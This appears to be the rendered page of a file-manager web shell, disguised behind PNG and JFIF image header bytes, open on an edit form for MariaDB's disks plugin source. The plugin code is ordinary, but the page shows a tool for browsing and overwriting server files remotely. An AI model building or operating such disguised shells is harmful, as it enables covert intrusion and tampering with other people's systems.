�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fplugin%2F'>plugin</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fplugin%2Fdisks%2F'>disks</a>/</p><hr><h3>✏️ Editing: information_schema_disks.cc</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/*
   Copyright (c) 2017, 2019, MariaDB

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; version 2 of the License.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1335  USA */

#include &lt;my_global.h&gt;
#include &lt;sys/statvfs.h&gt;
#include &lt;sys/types.h&gt;
#if defined(HAVE_GETMNTENT)
#include &lt;mntent.h&gt;
#elif defined(HAVE_GETMNTINFO) &amp;&amp; !defined(HAVE_GETMNTINFO_TAKES_statvfs)
/* getmntinfo (the not NetBSD variants) */
#include &lt;sys/param.h&gt;
#include &lt;sys/ucred.h&gt;
#include &lt;sys/mount.h&gt;
#endif
#if defined(HAVE_GETMNTENT_IN_SYS_MNTAB)
#include &lt;sys/mnttab.h&gt;
#define HAVE_GETMNTENT
#if defined(HAVE_SYS_MNTENT_H)
#include &lt;sys/mntent.h&gt;
#endif
#endif
#include &lt;sql_class.h&gt;
#include &lt;sql_i_s.h&gt;
#include &lt;sql_acl.h&gt;                            /* check_global_access() */

/*
  This intends to support *BSD&#039;s, macOS, Solaris, AIX, HP-UX, and Linux.

  specificly:
  FreeBSD/OpenBSD/DragonFly/macOS (statfs) NetBSD (statvfs) uses getmntinfo().
  Linux can use getmntent_r(), but we&#039;ve just used getmntent for simplification.
  Linux/Solaris/AIX/HP-UX uses setmntent()/getmntent().
  Solaris uses getmntent() with a diffent prototype, return structure, and
    no setmntent(fopen instead)
*/
#if defined(HAVE_GETMNTINFO_TAKES_statvfs) || defined(HAVE_GETMNTENT)
typedef struct statvfs st_info;
#else // GETMNTINFO
typedef struct statfs st_info;
#endif
#ifndef MOUNTED
/* HPUX - https://docstore.mik.ua/manuals/hp-ux/en/B2355-60130/getmntent.3X.html */
#define MOUNTED MNT_MNTTAB
#endif

bool schema_table_store_record(THD *thd, TABLE *table);


struct st_mysql_information_schema disks_table_info = { MYSQL_INFORMATION_SCHEMA_INTERFACE_VERSION };


namespace Show {

ST_FIELD_INFO disks_table_fields[]=
{
  Column(&quot;Disk&quot;,      Varchar(PATH_MAX), NOT_NULL),
  Column(&quot;Path&quot;,      Varchar(PATH_MAX), NOT_NULL),
  Column(&quot;Total&quot;,     SLonglong(32),     NOT_NULL), // Total amount available
  Column(&quot;Used&quot;,      SLonglong(32),     NOT_NULL), // Amount of space used
  Column(&quot;Available&quot;, SLonglong(32),     NOT_NULL), // Amount available to users other than root.
  CEnd()
};


static int disks_table_add_row_stat(
                                    THD* pThd,
                                    TABLE* pTable,
                                    const char* zDisk,
                                    const char* zPath,
                                    const st_info &amp;info)
{
    // From: http://pubs.opengroup.org/onlinepubs/009695399/basedefs/sys/statvfs.h.html
    // and same for statfs:
    // From: https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man2/statfs.2.html#//apple_ref/doc/man/2/statfs
    // and: https://www.freebsd.org/cgi/man.cgi?query=statfs&amp;sektion=2&amp;apropos=0&amp;manpath=FreeBSD+13.1-RELEASE+and+Ports
    //
    // f_bsize    Fundamental file system block size.
    // f_blocks   Total number of blocks on file system in units of f_frsize.
    // f_bfree    Total number of free blocks.
    // f_bavail   Number of free blocks available to non-privileged process.
    ulong block_size= (ulong) info.f_bsize;

    ulonglong total = ((ulonglong) block_size * info.f_blocks) / 1024;
    ulonglong used  = ((ulonglong) block_size *
                            (info.f_blocks - info.f_bfree)) / 1024;
    ulonglong avail = ((ulonglong) block_size * info.f_bavail) / 1024;

    /* skip filesystems that don&#039;t have any space */
    if (!info.f_blocks)
        return 0;

    /* skip RO mounted filesystems */
#if defined(HAVE_GETMNTINFO_TAKES_statvfs) || defined(HAVE_GETMNTENT)
    if (info.f_flag &amp; ST_RDONLY)
#else
    if (info.f_flags &amp; MNT_RDONLY)
#endif
       return 0;

    pTable-&gt;field[0]-&gt;store(zDisk, strlen(zDisk), system_charset_info);
    pTable-&gt;field[1]-&gt;store(zPath, strlen(zPath), system_charset_info);
    pTable-&gt;field[2]-&gt;store(total);
    pTable-&gt;field[3]-&gt;store(used);
    pTable-&gt;field[4]-&gt;store(avail);

    // 0 means success.
    return (schema_table_store_record(pThd, pTable) != 0) ? 1 : 0;
}


#ifdef HAVE_GETMNTENT
static int disks_table_add_row(THD* pThd, TABLE* pTable, const char* zDisk, const char* zPath)
{
    int rv = 0;

    st_info info;

    if (statvfs(zPath, &amp;info) == 0) // We ignore failures.
    {
        rv = disks_table_add_row_stat(pThd, pTable, zDisk, zPath, info);
    }

    return rv;
}
#endif


#ifdef HAVE_GETMNTINFO
static int disks_fill_table(THD* pThd, TABLE_LIST* pTables, Item* pCond)
{
    st_info *s;
    int count, rv= 0;
    TABLE* pTable= pTables-&gt;table;

    if (check_global_access(pThd, FILE_ACL, true))
        return 0;

#if defined(HAVE_GETMNTINFO_TAKES_statvfs)
    count= getmntinfo(&amp;s, ST_WAIT);
#else
    count= getmntinfo(&amp;s, MNT_WAIT);
#endif
    if (count == 0)
        return 1;

    while (count &amp;&amp; rv == 0)
    {
        rv= disks_table_add_row_stat(pThd, pTable, s-&gt;f_mntfromname, s-&gt;f_mntonname, *s);
        count--;
        s++;
    }
    return rv;
}
#else /* HAVE_GETMNTINFO */

static mysql_mutex_t m_getmntent;

/* HAVE_GETMNTENT */
static int disks_fill_table(THD* pThd, TABLE_LIST* pTables, Item* pCond)
{
    int rv= 1;
#ifdef HAVE_SETMNTENT
    struct mntent* pEnt;
#else
    struct mnttab mnttabent, *pEnt= &amp;mnttabent;
#endif
    FILE* pFile;
    TABLE* pTable= pTables-&gt;table;

    if (check_global_access(pThd, FILE_ACL, true))
        return 0;

#ifdef HAVE_SETMNTENT
    pFile= setmntent(MOUNTED, &quot;r&quot;);
#else
    /* Solaris */
    pFile= fopen(&quot;/etc/mnttab&quot;, &quot;r&quot;);
#endif

    if (!pFile)
        return 1;

    rv= 0;

    /*
      We lock the outer loop rather than between getmntent so the multiple
      infomation_schema.disks reads don&#039;t all start blocking each other and
      no-one gets any answers.
    */
    mysql_mutex_lock(&amp;m_getmntent);

    while ((rv == 0) &amp;&amp;
#if defined(HAVE_SETMNTENT)
        (pEnt = getmntent(pFile))

#else
        getmntent(pFile, pEnt) != 0
#endif
        )
    {
        struct stat f;
        const char *path, *point;
#ifdef HAVE_SETMNTENT
        path= pEnt-&gt;mnt_dir;
        point= pEnt-&gt;mnt_fsname;
#else
        path= pEnt-&gt;mnt_mountp;
        point= pEnt-&gt;mnt_special;
#endif
        // Try to keep to real storage by excluding
        // read only mounts, and mount points that aren&#039;t directories
        if (hasmntopt(pEnt, MNTOPT_RO) != NULL)
            continue;
        if (stat(path, &amp;f))
            continue;
        if (!S_ISDIR(f.st_mode))
            continue;
        rv= disks_table_add_row(pThd, pTable, point, path);
    }
    mysql_mutex_unlock(&amp;m_getmntent);

#ifdef HAVE_SETMNTENT
    endmntent(pFile);
#else
    fclose(pFile);
#endif

    return rv;
}
#endif /* HAVE_GETMNTINFO */

static int disks_table_init(void *ptr)
{
    ST_SCHEMA_TABLE* pSchema_table = (ST_SCHEMA_TABLE*)ptr;

    pSchema_table-&gt;fields_info = disks_table_fields;
    pSchema_table-&gt;fill_table = disks_fill_table;
#ifndef HAVE_GETMNTINFO
    mysql_mutex_init(0, &amp;m_getmntent, MY_MUTEX_INIT_SLOW);
#endif
    return 0;
}

static int disks_table_deinit(void *ptr __attribute__((unused)))
{
#ifndef HAVE_GETMNTINFO
    mysql_mutex_destroy(&amp;m_getmntent);
#endif
    return 0;
}

} // namespace Show

extern &quot;C&quot;
{

maria_declare_plugin(disks)
{
    MYSQL_INFORMATION_SCHEMA_PLUGIN,
    &amp;disks_table_info,                 /* type-specific descriptor */
    &quot;DISKS&quot;,                           /* table name */
    &quot;Johan Wikman, Daniel Black&quot;,      /* author */
    &quot;Disk space information&quot;,          /* description */
    PLUGIN_LICENSE_GPL,                /* license type */
    Show::disks_table_init,            /* init function */
    Show::disks_table_deinit,          /* deinit function */
    0x0102,                            /* version = 1.2 */
    NULL,                              /* no status variables */
    NULL,                              /* no system variables */
    &quot;1.2&quot;,                             /* String version representation */
    MariaDB_PLUGIN_MATURITY_STABLE     /* Maturity (see include/mysql/plugin.h)*/
}
mysql_declare_plugin_end;

}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fplugin%2Fdisks'>🔙 Back</a></p>